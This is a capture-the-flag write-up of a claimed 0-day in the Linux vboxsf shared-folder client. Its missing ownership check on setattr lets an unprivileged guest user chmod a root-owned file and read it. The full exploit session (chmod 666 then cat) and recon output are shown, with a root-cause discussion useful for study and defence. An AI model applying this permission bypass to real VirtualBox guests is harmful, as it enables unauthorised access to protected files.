dyslexic
`vboxsf` is a client filesystem — the guest trusts the host's SHFL RPC responses without validating them
NNS{vBoxsF_no7_CheckiN6_setat7r_1s_w3iRd_aF73r_al1_tH353_Y3ars} Author: hoover, 0xle
Points: 127
Flag: NNS{vBoxsF_no7_CheckiN6_setat7r_1s_w3iRd_aF73r_al1_tH353_Y3ars}
Description
I can’t read
Note: The flag is located at
/challenge/flag.txtNote: This is a 0day challenge and we are hoping you keep th{is|ese} 0day{|s} to yourself until the vulnerabilit{y|ies} {is|are} patched.
Connect via the instancer:
ncat --ssl dyslexic-<id>.chall.nnsc.tf 1337
No source files are provided — this is a pure black-box instancer challenge.
Recon
Connecting drops straight into a bash-5.2$ shell as an unprivileged user:
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls -la /challenge
-rw------- 1 root root 64 Sep 4 19:52 flag.txt
$ cat /challenge/flag.txt
cat: can't open '/challenge/flag.txt': Permission denied
So the flag is a normal root:root 0600 file — we need some way to read a
root-owned file as an unprivileged user.
Further recon shows this is a real VM, not a container:
$ uname -a
Linux (none) 6.8.0-136-generic #136-Ubuntu SMP ... x86_64 GNU/Linux
$ cat /proc/modules
vboxsf 45056 1 - Live 0x0000000000000000
vboxguest 57344 1 vboxsf, Live 0x0000000000000000
$ cat /proc/self/mountinfo
... 26 1 0:23 / /challenge rw,nodev,relatime - vboxsf challenge rw
$ cat /init
...
insmod /lib/modules/vboxguest.ko || fail_closed 'vboxguest load failed'
insmod /lib/modules/vboxsf.ko || fail_closed 'vboxsf load failed'
/bin/mount.vboxsf -o uid=0,gid=0 challenge /challenge || fail_closed 'vboxsf mount failed'
...
setsid -c su -s /bin/bash ctf </dev/ttyS0 >/dev/ttyS0 2>&1
Important observations:
/challengeis a VirtualBox Shared Folder (vboxsf), mounted withuid=0,gid=0so every file on it appears root-owned to the guest.- There is no setuid binary anywhere on the box (
find / -perm -4000returns nothing), no other root process to attack, and/proc/self/statusconfirms real/effective/saved/fs uid are all1000— no leftover privileges to reclaim. /dev/vboxguestand/dev/vboxuser(the HGCM device nodes used to talk directly to the hypervisor) arecrw-------root-only, so we can’t bypass the kernel driver and talk to the host service directly./lib/modules/vboxsf.koandvboxguest.koare world-readable and not stripped. Pulling them down and checkingnm/stringsshows this is a stock, unmodified upstreamfs/vboxsfbuild (vermagic=6.8.0-136-generic, normal symbol set) — so the bug isn’t a custom backdoor planted in the module, it’s a genuine bug in the real vboxsf driver.
This rules out every “normal” privesc vector (SUID, sudo, cron, leaked fds,
writable /proc/sys, symlink races on writable directories, etc.) and points
straight at the shared-folder client itself.
The bug
vboxsf is a client filesystem: every syscall against /challenge gets
translated by fs/vboxsf/*.c into an SHFL RPC (vboxsf_call) sent over
HGCM to the VBoxSharedFolders service on the host. The guest kernel is
supposed to gate these calls with the normal Linux permission checks
(inode_permission()/notify_change()) before ever issuing the RPC.
That gating is missing for setattr (i.e. chmod/chown/truncate via
vboxsf_setattr). As a completely unprivileged user we can chmod a file we
don’t own and have zero permission bits on:
$ chmod 666 /challenge/flag.txt; echo $?
0
$ ls -la /challenge/flag.txt
-rw-rw-rw- 1 root root 64 Sep 4 19:52 flag.txt
$ cat /challenge/flag.txt
NNS{vBoxsF_no7_CheckiN6_setat7r_1s_w3iRd_aF73r_al1_tH353_Y3ars}
Normally, the VFS’s notify_change() path requires either ownership of the
inode or CAP_FOWNER before a filesystem’s ->setattr is even invoked. On
this build, the check that should block chmod from a non-owner UID against
a vboxsf-backed inode doesn’t fire, so the request goes straight through to
the host side, which happily updates the mode. Once the mode bits are
world-writable/readable, a plain cat reads the flag.
The flag itself spells out the root cause:
vBoxsF not CheckiNG setattr is weird after all these years.
Exploit (full session)
ncat --ssl dyslexic-<id>.chall.nnsc.tf 1337
chmod 666 /challenge/flag.txt
cat /challenge/flag.txt
# NNS{vBoxsF_no7_CheckiN6_setat7r_1s_w3iRd_aF73r_al1_tH353_Y3ars}
That’s it — one chmod as an unprivileged user against a root-owned file on
the vboxsf share, then a plain cat.
Root cause / takeaway
vboxsf’ssetattrpath (fs/vboxsf/utils.c/super.cin upstream Linux) doesn’t enforce the caller-owns-the-inode-or-has-CAP_FOWNERinvariant that every other Linux filesystem relies on the VFS to provide, and evidently doesn’t double-check it itself either — so any local user can rewrite the permission bits (and, per the note in the challenge description, possibly more attributes) of any file on a shared folder, regardless of ownership.- This works purely as an unprivileged guest user; no kernel exploit
primitives, no host escape, no race condition needed — just calling
chmodon a file you don’t own and watching it succeed. - Lesson: don’t assume a “just relays to the host” filesystem client still
re-derives and enforces standard POSIX permission semantics on the guest
side — it has to explicitly re-implement that gate, and here it didn’t for
setattr.
Tooling note
Because the instancer connects over ncat --ssl host:1337 straight to a
serial console (/dev/ttyS0), a plain openssl s_client one-shot pipe drops
the connection mid-handshake under load; a small persistent Python
ssl.wrap_socket client that reads until the bash-5.2$ prompt reappears
before sending the next line works reliably. Also worth noting: the very
first character sent right after connecting is sometimes swallowed by the
serial link, so prefixing every command with a harmless true; avoids
accidentally executing a truncated command.